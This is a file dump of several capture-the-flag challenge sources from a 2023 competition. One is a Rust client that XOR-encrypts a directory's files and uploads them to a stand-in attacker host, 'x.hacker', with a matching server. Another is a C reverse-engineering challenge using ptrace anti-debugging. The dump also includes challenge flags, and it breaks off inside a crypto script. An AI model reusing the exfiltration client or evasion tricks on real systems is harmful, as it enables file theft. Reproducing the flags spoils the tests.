| // println!("read {} bytes", bytes_read); 51 | if bytes_read == 0 { 52 | break; 53 | } 54 | for i in 0..bytes_read { 55 | buf[i] ^= key[i % key_len]; 56 | // file_write.write_byte(buf[i]).unwrap(); 57 | buf_send.push(buf[i]); 58 | } 59 | } 60 | upload(&entry.file_name().to_str().unwrap(), full(buf_send)).await?; 61 | } 62 | } 63 | Ok(()) 64 | } 65 | 66 | async fn get_key() -> Result<(Response, RsaPrivateKey), Box> { 67 | let url = "http://x.hacker:8080/getkey".parse::()?; 68 | let host = url.host().unwrap(); 69 | let port = url.port_u16().unwrap(); 70 | let address = format!("{}:{}", host, port); 71 | // println!("{}", address); 72 | let stream = TcpStream::connect(address).await?; 73 | let (mut sender, conn) = hyper::client::conn::http1::handshake(stream).await?; 74 | tokio::task::spawn(async move { 75 | if let Err(err) = conn.await { 76 | println!("Connection failed: {:?}", err); 77 | } 78 | }); 79 | let mut rng = rand::thread_rng(); 80 | let bits = 2048; 81 | let private_key = RsaPrivateKey::new(&mut rng, bits).unwrap(); 82 | let public_key = RsaPublicKey::from(&private_key); 83 | let pubkey = &public_key.to_public_key_pem(LineEnding::LF).unwrap(); 84 | let pubkey = &pubkey[27..425].replace("\n", ""); 85 | // println!("{}", pubkey); 86 | let req = Request::builder() 87 | .method("GET") 88 | .uri(url) 89 | .header("User-Agent", "Mini-L-CTF-2023") 90 | .header("key", pubkey) 91 | .body(empty()) 92 | .unwrap(); 93 | 94 | // println!("{:?}", req); 95 | let res = sender.send_request(req).await?; 96 | // println!("Response status: {}", res.status()); 97 | Ok((res, private_key)) 98 | } 99 | 100 | async fn upload(filename: &str, content: BoxBody) -> Result<(), Box> { 101 | let url = "http://x.hacker:8080/upload".parse::()?; 102 | let host = url.host().unwrap(); 103 | let port = url.port_u16().unwrap(); 104 | let address = format!("{}:{}", host, port); 105 | let stream = TcpStream::connect(address).await?; 106 | let (mut sender, conn) = hyper::client::conn::http1::handshake(stream).await?; 107 | tokio::task::spawn(async move { 108 | if let Err(err) = conn.await { 109 | println!("Connection failed: {:?}", err); 110 | } 111 | }); 112 | let req = Request::builder() 113 | .method("GET") 114 | .uri(url) 115 | .header("User-Agent", "Mini-L-CTF-2023") 116 | .header("filename", filename) 117 | .body(content) 118 | .unwrap(); 119 | 120 | sender.send_request(req).await?; 121 | // let res = client.request(req).await?; 122 | Ok(()) 123 | } -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/client/src/util/http.rs: -------------------------------------------------------------------------------- 1 | use bytes::Bytes; 2 | use http_body_util::combinators::BoxBody; 3 | use http_body_util::{BodyExt, Empty, Full}; 4 | 5 | // We create some utility functions to make Empty and Full bodies 6 | // fit our broadened Response body type. 7 | pub fn empty() -> BoxBody { 8 | Empty::::new() 9 | .map_err(|never| match never {}) 10 | .boxed() 11 | } 12 | pub fn full>(chunk: T) -> BoxBody { 13 | Full::new(chunk.into()) 14 | .map_err(|never| match never {}) 15 | .boxed() 16 | } 17 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/client/src/util/mod.rs: -------------------------------------------------------------------------------- 1 | mod http; 2 | 3 | pub use http::{empty, full}; -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/dangerous_directory/1.txt: -------------------------------------------------------------------------------- 1 | 这里啥也没有 2 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/dangerous_directory/2.txt: -------------------------------------------------------------------------------- 1 | 看我干嘛,找flag去啊 2 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/dangerous_directory/3.txt: -------------------------------------------------------------------------------- 1 | 这真不是misc题 2 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/dangerous_directory/back.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/hacker's_gift/src/dangerous_directory/back.jpg -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/dangerous_directory/flag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/hacker's_gift/src/dangerous_directory/flag -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/dangerous_directory/智子.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/hacker's_gift/src/dangerous_directory/智子.jpg -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/server/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/server/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "server" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | rsa = { version = "0.8.2", features = ["sha2"] } 10 | rand = "0.8.5" 11 | tokio = { version = "1.25.0", features = ["full"] } 12 | hyper = { version = "1.0.0-rc.2", features = ["full"] } 13 | http-body-util = "0.1.0-rc.2" 14 | bytes = "1.4.0" 15 | serde_json = "1.0.96" 16 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/server/src/main.rs: -------------------------------------------------------------------------------- 1 | mod service; 2 | mod util; 3 | 4 | use hyper::server::conn::http1; 5 | use hyper::service::service_fn; 6 | use tokio::net::TcpListener; 7 | use service::preprocess; 8 | 9 | #[tokio::main] 10 | async fn main() -> Result<(), Box> { 11 | let addr = "0.0.0.0:8080"; 12 | let listener = TcpListener::bind(&addr).await?; 13 | println!("listen on {:?}", addr); 14 | 15 | loop { 16 | let (stream, addr) = listener.accept().await?; 17 | println!("connect to {}", addr); 18 | 19 | tokio::spawn(async move { 20 | if let Err(err) = http1::Builder::new() 21 | .serve_connection(stream, service_fn(preprocess)) 22 | .await 23 | { 24 | println!("Error serving connection: {:?}", err); 25 | } 26 | }); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/server/src/service/getkey.rs: -------------------------------------------------------------------------------- 1 | use rsa::{RsaPublicKey, Pkcs1v15Encrypt, PublicKey}; 2 | use rsa::pkcs8::DecodePublicKey; 3 | use rand; 4 | use bytes::Bytes; 5 | use http_body_util::combinators::BoxBody; 6 | use hyper::{Request, Response, StatusCode}; 7 | use hyper::body::Incoming; 8 | use crate::util::{empty, full}; 9 | // rsa 2048 bit 10 | pub async fn get_key(req: Request) -> Response> { 11 | let key = rand::random::().to_string() + "1e07f177-e9e8-494d-bd46-ab791cb4c694"; 12 | // if let Ok(mut file) = File::open("./key") { 13 | // file.read_to_string(&mut key).unwrap(); 14 | // } else { 15 | // key = "1e07f177-e9e8-494d-bd46-ab791cb4c694".to_string(); 16 | // } 17 | if let Some(public_key) = req.headers().get("key") { 18 | // println!("{:?}", public_key); 19 | if let Ok(public_key) = public_key.to_str() { 20 | if public_key.len() == 392 { 21 | let public_key = "-----BEGIN PUBLIC KEY-----\n".to_string() 22 | + &public_key[0..64] + "\n" 23 | + &public_key[64..128] + "\n" 24 | + &public_key[128..192] + "\n" 25 | + &public_key[192..256] + "\n" 26 | + &public_key[256..320] + "\n" 27 | + &public_key[320..384] + "\n" 28 | + &public_key[384..] + "\n" 29 | + "-----END PUBLIC KEY-----"; 30 | // println!("{}", public_key); 31 | // println!("{}", public_key.len()); 32 | if let Ok(public_key) = RsaPublicKey::from_public_key_pem(&public_key) { 33 | let mut rng = rand::thread_rng(); 34 | // Encrypt 35 | let enc_data = public_key.encrypt(&mut rng, Pkcs1v15Encrypt, key.as_ref()).unwrap(); 36 | // println!("{:?}\n{:?}", key, enc_data); 37 | let mut resp = Response::new(full(enc_data.clone())); 38 | *resp.status_mut() = StatusCode::OK; 39 | return resp 40 | } 41 | } 42 | } 43 | } 44 | let mut resp = Response::new(empty()); 45 | *resp.status_mut() = StatusCode::BAD_REQUEST; 46 | resp 47 | } 48 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/server/src/service/mod.rs: -------------------------------------------------------------------------------- 1 | mod getkey; 2 | mod upload; 3 | 4 | use bytes::Bytes; 5 | use http_body_util::combinators::BoxBody; 6 | use hyper::{Request, Response, StatusCode}; 7 | use crate::service::getkey::get_key; 8 | use crate::service::upload::upload; 9 | use crate::util::empty; 10 | 11 | pub async fn preprocess( 12 | req: Request, 13 | ) -> Result>, hyper::Error> { 14 | let mut resp_notfound = Response::new(empty()); 15 | *resp_notfound.status_mut() = StatusCode::NOT_FOUND; 16 | let mut resp_forbidden = Response::new(empty()); 17 | *resp_forbidden.status_mut() = StatusCode::FORBIDDEN; 18 | // check client User-Agent 19 | if let Some(ua) = req.headers().get("User-Agent") { 20 | if ua.to_str().unwrap_or("") != "Mini-L-CTF-2023" { 21 | return Ok(resp_forbidden) 22 | } 23 | } 24 | // router 25 | let resp = match req.uri().path().to_string().as_str() { 26 | "/getkey" => get_key(req).await, 27 | "/upload" => upload(req).await, 28 | _ => resp_notfound 29 | }; 30 | Ok(resp) 31 | } 32 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/server/src/service/upload.rs: -------------------------------------------------------------------------------- 1 | use std::fs::File; 2 | use bytes::Bytes; 3 | use http_body_util::{combinators::BoxBody, BodyExt}; 4 | use hyper::{Request, Response, StatusCode}; 5 | use hyper::body::Incoming; 6 | use std::io::Write; 7 | use crate::util::empty; 8 | 9 | pub async fn upload(req: Request) -> Response> { 10 | if let Some(filename) = req.headers().get("filename") { 11 | if let Ok(filename) = filename.to_str() { 12 | if let Ok(mut file) = File::create(filename) { 13 | let body = req.collect().await.unwrap().to_bytes(); 14 | // println!("{:?}", body); 15 | if let Ok(()) = file.write_all(&body) { 16 | let mut resp = Response::new(empty()); 17 | *resp.status_mut() = StatusCode::OK; 18 | return resp 19 | } 20 | } 21 | } 22 | } 23 | let mut resp = Response::new(empty()); 24 | *resp.status_mut() = StatusCode::BAD_REQUEST; 25 | resp 26 | } -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/server/src/util/http.rs: -------------------------------------------------------------------------------- 1 | use bytes::Bytes; 2 | use http_body_util::combinators::BoxBody; 3 | use http_body_util::{BodyExt, Empty, Full}; 4 | 5 | // We create some utility functions to make Empty and Full bodies 6 | // fit our broadened Response body type. 7 | pub fn empty() -> BoxBody { 8 | Empty::::new() 9 | .map_err(|never| match never {}) 10 | .boxed() 11 | } 12 | pub fn full>(chunk: T) -> BoxBody { 13 | Full::new(chunk.into()) 14 | .map_err(|never| match never {}) 15 | .boxed() 16 | } 17 | -------------------------------------------------------------------------------- /Challenges/hacker's_gift/src/server/src/util/mod.rs: -------------------------------------------------------------------------------- 1 | mod http; 2 | 3 | pub use http::{empty, full}; -------------------------------------------------------------------------------- /Challenges/magical_syscall/attachment/magical_syscall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/magical_syscall/attachment/magical_syscall -------------------------------------------------------------------------------- /Challenges/magical_syscall/flag.txt: -------------------------------------------------------------------------------- 1 | a_v1rtu@l_m@ch1ne_w1th_ma9ical_sy$call 2 | -------------------------------------------------------------------------------- /Challenges/magical_syscall/src/assembly.txt: -------------------------------------------------------------------------------- 1 | reset cx, 0 2 | label0: 3 | getchar dx 4 | push dx 5 | inc cx 6 | cmp cx, 38 7 | jne label0 8 | 9 | reset cx, 0 10 | label1: 11 | mov s[cx], cx 12 | inc cx 13 | cmp cx, 256 14 | jne label1 15 | 16 | reset cx, 0 17 | reset bx, 0 18 | label2: 19 | add bx, s[cx] 20 | mov ax, cx 21 | mod ax, 16 22 | add bx, key[ax] 23 | mod bx, 256 24 | xchg s[cx], s[bx] 25 | inc cx 26 | cmp cx, 256 27 | jne label2 28 | 29 | 30 | reset cx, 0 31 | reset bx, 0 32 | label3: 33 | inc cx 34 | add bx, s[cx] 35 | mod bx, 256 36 | xchg s[cx], s[bx] 37 | mov ax, s[cx] 38 | add ax, s[bx] 39 | mod ax, 256 40 | mov ax, s[ax] 41 | pop dx 42 | xor dx, ax 43 | mov ax, enc[cx-1] 44 | cmp dx, ax 45 | jne failexit 46 | cmp cx, 32 47 | jne label3 48 | 49 | failexit: 50 | SYS_DX_FAIL_EXIT 51 | eixt: 52 | SYS_DX_EXIT -------------------------------------------------------------------------------- /Challenges/magical_syscall/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define SYS_DX_EXIT 9999 13 | #define SYS_DX_FAIL_EXIT 8888 14 | #define SYS_DX_READ 3900 15 | #define SYS_DX_ADD 3901 16 | #define SYS_DX_MOD 3902 17 | #define SYS_DX_GETCHAR 3903 18 | #define SYS_DX_PUSH 3904 19 | #define SYS_DX_POP 3905 20 | #define SYS_DX_CMP 3906 21 | #define SYS_DX_JE 3907 22 | #define SYS_DX_JNE 3908 23 | #define SYS_DX_MOV 3909 24 | #define SYS_DX_XOR 3910 25 | #define SYS_DX_INC 3911 26 | #define SYS_DX_XCHG 3912 27 | #define SYS_DX_RESET 3913 28 | 29 | 30 | struct VM { 31 | uint32_t ip; 32 | uint32_t sp; 33 | uint32_t ax; 34 | uint32_t bx; 35 | uint32_t cx; 36 | uint32_t dx; 37 | uint32_t ZF; 38 | uint32_t stack[64]; // 0-36 input 39 | uint32_t data[400]; // 0-255 s 256-267 key 268-305 enc 40 | uint32_t code[200]; 41 | }; 42 | 43 | struct VM vm = { 44 | .ip = 0, 45 | .sp = -1, 46 | .ax = 0, 47 | .bx = 0, 48 | .cx = 0, 49 | .dx = 0, 50 | .stack = {0}, 51 | .data = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 77, 105, 110, 105, 76, 67, 84, 70, 50, 48, 50, 51, 147, 163, 203, 201, 214, 211, 240, 213, 177, 26, 84, 155, 80, 203, 176, 178, 235, 15, 178, 141, 47, 230, 21, 203, 181, 61, 215, 156, 197, 129, 63, 145, 144, 241, 155, 171, 47, 242}, 52 | .code = {3913, 0, 3903, 3904, 3911, 0, 3906, 0, 38, 3908, 2, 3913, 0, 3909, 1, 3911, 0, 3906, 0, 256, 3908, 13, 3913, 0, 3913, 1, 3901, 1, 0, 2, 3909, 0, 3902, 0, 12, 3901, 1, 1, 0, 3902, 1, 256, 3912, 3911, 0, 3906, 0, 256, 3908, 26, 3913, 0, 3913, 1, 3911, 0, 3901, 1, 0, 2, 3902, 1, 256, 3912, 3909, 2, 3901, 0, 0, 1, 3902, 0, 256, 3909, 4, 3905, 3910, 3909, 3, 3906, 1, 0, 3908, 90, 3906, 0, 38, 3908, 54, 9999, 8888, 0, 0, 0} 53 | }; 54 | 55 | void alarmHandler() { 56 | puts("Never Give Up !!!!"); 57 | exit(1); 58 | } 59 | 60 | void trapHandler() { 61 | puts("debugger detected, exit..."); 62 | exit(1); 63 | } 64 | 65 | void setupSignal() __attribute__((constructor)); 66 | void setupSignal() { 67 | signal(SIGALRM, alarmHandler); 68 | signal(SIGTRAP, trapHandler); 69 | alarm(10); 70 | } 71 | 72 | void status_check() __attribute__((constructor)); 73 | void status_check() { 74 | FILE *fp = fopen("/proc/self/status","r"); 75 | // printf("%p\n",fp); 76 | char buf[0x100]; 77 | char *ptr = buf; 78 | while(fgets(ptr, 0x100, fp)) { 79 | if (strstr(ptr,"TracerPid")) { 80 | int tracepid = 0; 81 | tracepid = atoi((char *)ptr + strlen(ptr) - 3); 82 | if (tracepid != 0) { 83 | puts("debugger detected, exit..."); 84 | exit(1); 85 | } 86 | } 87 | } 88 | } 89 | 90 | void tracee() { 91 | ptrace(PTRACE_TRACEME, 0, 0, 0); 92 | raise(SIGCONT); 93 | } 94 | 95 | void tracer(int child_pid) { 96 | int status; 97 | struct user_regs_struct regs; 98 | waitpid(child_pid, &status, 0); 99 | 100 | if (!WIFSTOPPED(status)) { 101 | puts("debugger detected, exit..."); 102 | exit(1); 103 | } 104 | ptrace(PTRACE_SETOPTIONS, child_pid, 0, PTRACE_O_EXITKILL); 105 | 106 | while(1) { 107 | ptrace(PTRACE_SYSCALL, child_pid, 0, 0); 108 | waitpid(child_pid, &status, 0); 109 | ptrace(PTRACE_GETREGS, child_pid, 0, ®s); 110 | if (regs.orig_rax == SYS_DX_FAIL_EXIT) { 111 | puts("try again"); 112 | exit(1); 113 | } 114 | if (regs.orig_rax == SYS_DX_EXIT) { 115 | puts("congratulations"); 116 | exit(0); 117 | } 118 | 119 | if (regs.orig_rax == SYS_DX_GETCHAR) { // getchar dx 120 | regs.orig_rax = SYS_read; 121 | regs.rdi = 0; 122 | regs.rsi = (uint32_t *)&vm.dx; 123 | regs.rdx = 1; 124 | // printf("in getchar:\nrdi: %x rsi: %x rdx: %x\n", regs.rdi, regs.rsi, regs.rdx); 125 | ptrace(PTRACE_SETREGS, child_pid, 0, ®s); 126 | vm.ip += 1; 127 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 128 | 129 | } 130 | 131 | if (regs.orig_rax == SYS_DX_ADD) { 132 | uint32_t *reg = NULL; 133 | uint32_t *mem = NULL; 134 | uint32_t *offset = NULL; 135 | if (regs.rdi == 0) { 136 | reg = &vm.ax; 137 | } else if (regs.rdi == 1) { 138 | reg = &vm.bx; 139 | } 140 | 141 | if (regs.rsi == 0) { 142 | mem = vm.data; 143 | } else if (regs.rsi == 1) { 144 | mem = vm.data + 256; 145 | } else if (regs.rsi == 2) { 146 | mem = vm.data + 268; 147 | } 148 | 149 | if (regs.rdx == 0) { 150 | offset = &vm.ax; 151 | } else if (regs.rdx == 1) { 152 | offset = &vm.bx; 153 | } else if (regs.rdx == 2) { 154 | offset = &vm.cx; 155 | } 156 | 157 | *reg = *reg + *(mem + *offset); 158 | // ptrace(PTRACE_POKEDATA, child_pid, regs.rdi, *(uint32_t *)regs.rdi); 159 | vm.ip += 4; 160 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 161 | } 162 | 163 | if (regs.orig_rax == SYS_DX_MOD) { 164 | uint32_t *reg = NULL; 165 | if (regs.rdi == 0) { 166 | reg = &vm.ax; 167 | } else if (regs.rdi == 1) { 168 | reg = &vm.bx; 169 | } 170 | *reg = *reg % regs.rsi; 171 | // ptrace(PTRACE_POKEDATA, child_pid, regs.rdi, *(uint32_t *)regs.rdi); 172 | vm.ip += 3; 173 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 174 | } 175 | 176 | if (regs.orig_rax == SYS_DX_PUSH) { // push dx 177 | vm.dx = ptrace(PTRACE_PEEKDATA, child_pid, &vm.dx, 0); 178 | vm.sp ++; 179 | vm.stack[vm.sp] = vm.dx; 180 | // ptrace(PTRACE_POKEDATA, child_pid, &vm.stack[vm.sp], regs.rdi); 181 | // ptrace(PTRACE_POKEDATA, child_pid, &vm.sp, vm.sp); 182 | vm.ip += 1; 183 | // printf("in push\nvm.dx: %x, vm.sp: %x, vm.stack[vm.sp]: %x\n", vm.dx, vm.sp, vm.stack[vm.sp]); 184 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 185 | } 186 | 187 | if (regs.orig_rax == SYS_DX_POP) { 188 | // ptrace(PTRACE_POKEDATA, child_pid, &vm.dx, vm.stack[vm.sp]); 189 | vm.dx = vm.stack[vm.sp]; 190 | vm.sp --; 191 | // ptrace(PTRACE_POKEDATA, child_pid, &vm.sp, vm.sp); 192 | vm.ip += 1; 193 | // puts("in pop"); 194 | // printf("vm.dx: %x\n", vm.dx); 195 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 196 | } 197 | 198 | if (regs.orig_rax == SYS_DX_CMP) { 199 | if (regs.rdi == 0) { // cmp cx, inum 200 | vm.ZF = (vm.cx == regs.rsi); 201 | // printf("in cmp 0\nvm.cx: %x regs.rsi: %x\n", vm.cx, regs.rsi); 202 | // ptrace(PTRACE_POKEDATA, child_pid, &vm.ZF, vm.ZF); 203 | } else if (regs.rdi == 1) { // cmp ax, dx 204 | vm.ZF = (vm.ax == vm.dx); 205 | } 206 | vm.ip += 3; 207 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 208 | } 209 | 210 | if (regs.orig_rax == SYS_DX_JE) { 211 | if (vm.ZF) { 212 | vm.ip = regs.rdi; 213 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 214 | } else { 215 | vm.ip += 2; 216 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 217 | } 218 | } 219 | 220 | if (regs.orig_rax == SYS_DX_JNE) { 221 | if (!vm.ZF) { 222 | vm.ip = regs.rdi; 223 | // printf("jmp to %x\n", vm.ip); 224 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 225 | } else { 226 | vm.ip += 2; 227 | // printf("jne failed %x\n", vm.ip); 228 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 229 | } 230 | } 231 | 232 | if (regs.orig_rax == SYS_DX_MOV) { 233 | // puts("in mov"); 234 | if (regs.rdi == 0) { // mov ax, cx 235 | vm.ax = vm.cx; 236 | // printf("mov ax, cx ax: %x\n", vm.ax); 237 | } else if (regs.rdi == 1) { // mov s[cx], cx 238 | *(vm.data + vm.cx) = vm.cx; 239 | // printf("mov s[cx], cx cx: %x s[cx] = %x\n", vm.cx, *(vm.data + vm.cx)); 240 | } else if (regs.rdi == 2) { // mov ax, s[cx] 241 | vm.ax = *(vm.data + vm.cx); 242 | // printf("mov ax, s[cx] cx: %x ax: %x\n", vm.cx, vm.ax); 243 | } else if (regs.rdi == 3) { // mov ax, enc[cx-1] 244 | vm.ax = *(vm.data + 268 + vm.cx - 1); 245 | // printf("mov ax enc[cx-1] ax: %x\n", vm.ax); 246 | } else if (regs.rdi == 4) { // mov ax, s[ax] 247 | vm.ax = *(vm.data + vm.ax); 248 | } 249 | vm.ip += 2; 250 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 251 | } 252 | 253 | if (regs.orig_rax == SYS_DX_XOR) { 254 | vm.dx = vm.dx ^ vm.ax; 255 | vm.ip += 1; 256 | // puts("in xor"); 257 | // printf("vm.dx: %x vm.ax: %x\n", vm.dx, vm.ax); 258 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 259 | } 260 | 261 | if (regs.orig_rax == SYS_DX_INC) { 262 | uint32_t *reg; 263 | if (regs.rdi == 0) { // inc cx 264 | reg = &vm.cx; 265 | // printf("in inc cx\nvm.cx: %x vm.cx_addr: %x\n", vm.cx, &vm.cx); 266 | } else if (regs.rdi == 1) { // inc bx 267 | reg = &vm.bx; 268 | } 269 | *reg = *reg + 1; 270 | // printf("reg_addr: %x, reg: %x\n", reg, *reg); 271 | vm.ip += 2; 272 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 273 | } 274 | 275 | if (regs.orig_rax == SYS_DX_XCHG) { 276 | // uint32_t tmp = *(vm.data + vm.bx); 277 | *(vm.data + vm.cx) = *(vm.data + vm.bx); 278 | *(vm.data + vm.bx) = *(vm.data + vm.cx); 279 | vm.ip += 1; 280 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 281 | } 282 | 283 | if (regs.orig_rax == SYS_DX_RESET) { 284 | uint32_t *reg = NULL; 285 | if (regs.rdi == 0) { // reset cx, 0 286 | // printf("in reset cx\n"); 287 | reg = &vm.cx; 288 | } else if (regs.rdi == 1) { // reset bx, 0 289 | // printf("in reset bx\n"); 290 | reg = &vm.bx; 291 | } 292 | *reg = 0; 293 | // printf("reg_addr: %x reg_val: %x\n"); 294 | vm.ip += 2; 295 | ptrace(PTRACE_POKEDATA, child_pid, &vm.ip, vm.ip); 296 | } 297 | 298 | ptrace(PTRACE_SYSCALL, child_pid, 0, 0); 299 | waitpid(child_pid, &status, 0); 300 | } 301 | } 302 | 303 | int ptrace_check() __attribute__((constructor)); 304 | int ptrace_check() { 305 | int pid = fork(); 306 | if (pid < 0) { 307 | puts("failed to creat subprocess"); 308 | exit(1); 309 | } else if (pid == 0) { 310 | tracee(); 311 | } else { 312 | tracer(pid); 313 | } 314 | } 315 | 316 | 317 | 318 | int main() { 319 | puts("input your flag:"); 320 | while(1) { 321 | uint32_t ip = vm.ip; 322 | syscall(vm.code[ip], vm.code[ip+1], vm.code[ip+2], vm.code[ip+3]); 323 | // printf("ip : %x\n", ip); 324 | // printf("main vm.dx: %x\n", vm.dx); 325 | } 326 | } 327 | 328 | -------------------------------------------------------------------------------- /Challenges/magical_syscall/src/opcode.txt: -------------------------------------------------------------------------------- 1 | 3913, 0, (label0)3903, 3904, 3911, 0, 3906, 0, 38, 3908, 2(label0), 3913, 0, (label1)3909, 1, 3911, 0, 3906, 0, 256, 3908, 13(label1), 3913, 0, 3913, 1, (label2)3901, 1, 0, 2, 3909, 0, 3902, 0, 12, 3901, 1, 1, 0, 3902, 1, 256, 3912, 3911, 0, 3906, 0, 256, 3908, 26(label2), 3913, 0, 3913, 1, (label3)3911, 0, 3901, 1, 0, 2, 3902, 1, 256, 3912, 3909, 2, 3901, 0, 0, 1, 3902, 0, 256, 3909, 4, 3905, 3910, 3909, 3, 3906, 1, 0, 3908, 90(fail), 3906, 0, 32, 3908, 54(label3), 9999, 8888, 0, 0, 0 2 | 3 | 3913, 0, 3903, 3904, 3911, 0, 3906, 0, 38, 3908, 2, 3913, 0, 3909, 1, 3911, 0, 3906, 0, 256, 3908, 13, 3913, 0, 3913, 1, 3901, 1, 0, 2, 3909, 0, 3902, 0, 12, 3901, 1, 1, 0, 3902, 1, 256, 3912, 3911, 0, 3906, 0, 256, 3908, 26, 3913, 0, 3913, 1, 3911, 0, 3901, 1, 0, 2, 3902, 1, 256, 3912, 3909, 2, 3901, 0, 0, 1, 3902, 0, 256, 3909, 4, 3905, 3910, 3909, 3, 3906, 1, 0, 3908, 90, 3906, 0, 32, 3908, 54, 9999, 8888, 0, 0, 0 4 | -------------------------------------------------------------------------------- /Challenges/maze_aot/maze: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/maze_aot/maze -------------------------------------------------------------------------------- /Challenges/mini_java/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '1.0' 2 | 3 | services: 4 | web: 5 | build: . 6 | ports: 7 | - "8000:8000" 8 | -------------------------------------------------------------------------------- /Challenges/mini_java/dockerfile: -------------------------------------------------------------------------------- 1 | FROM openjdk:8u342-slim 2 | 3 | RUN adduser ctf && addgroup ctfgroup && adduser ctf ctfgroup 4 | USER ctf 5 | RUN mkdir /opt/app 6 | 7 | COPY minil-0.0.1-SNAPSHOT.jar /opt/app 8 | COPY flag /flag 9 | COPY nc /bin/ 10 | 11 | WORKDIR /opt/app 12 | 13 | CMD ["java", "-jar", "/opt/app/minil-0.0.1-SNAPSHOT.jar"] 14 | EXPOSE 8000 15 | 16 | -------------------------------------------------------------------------------- /Challenges/mini_java/flag: -------------------------------------------------------------------------------- 1 | flag{0h_Y0U_fff1nd_this_mNinLJava_Fl4GGG!} -------------------------------------------------------------------------------- /Challenges/mini_java/minil-0.0.1-SNAPSHOT.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/mini_java/minil-0.0.1-SNAPSHOT.jar -------------------------------------------------------------------------------- /Challenges/mini_java/nc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/mini_java/nc -------------------------------------------------------------------------------- /Challenges/not RSA/not_RSA.py: -------------------------------------------------------------------------------- 1 | import random 2 | from Crypto.Util.number import * 3 | 4 | def generate_prime(bit_length): 5 | while True: 6 | a = random.getrandbits(bit_length//2) 7 | b = random.getrandbits(bit_length//2) 8 | 9 | if b % 3 == 0: 10 | continue 11 | 12 | p = a ** 2 + 3 * b ** 2 13 | if p.bit_length() == bit_length and p % 3 == 1 and isPrime(p): 14 | return p 15 | 16 | def point_addition(P, Q, mod): 17 | m, n = P 18 | p, q = Q 19 | 20 | if p is None: 21 | return P 22 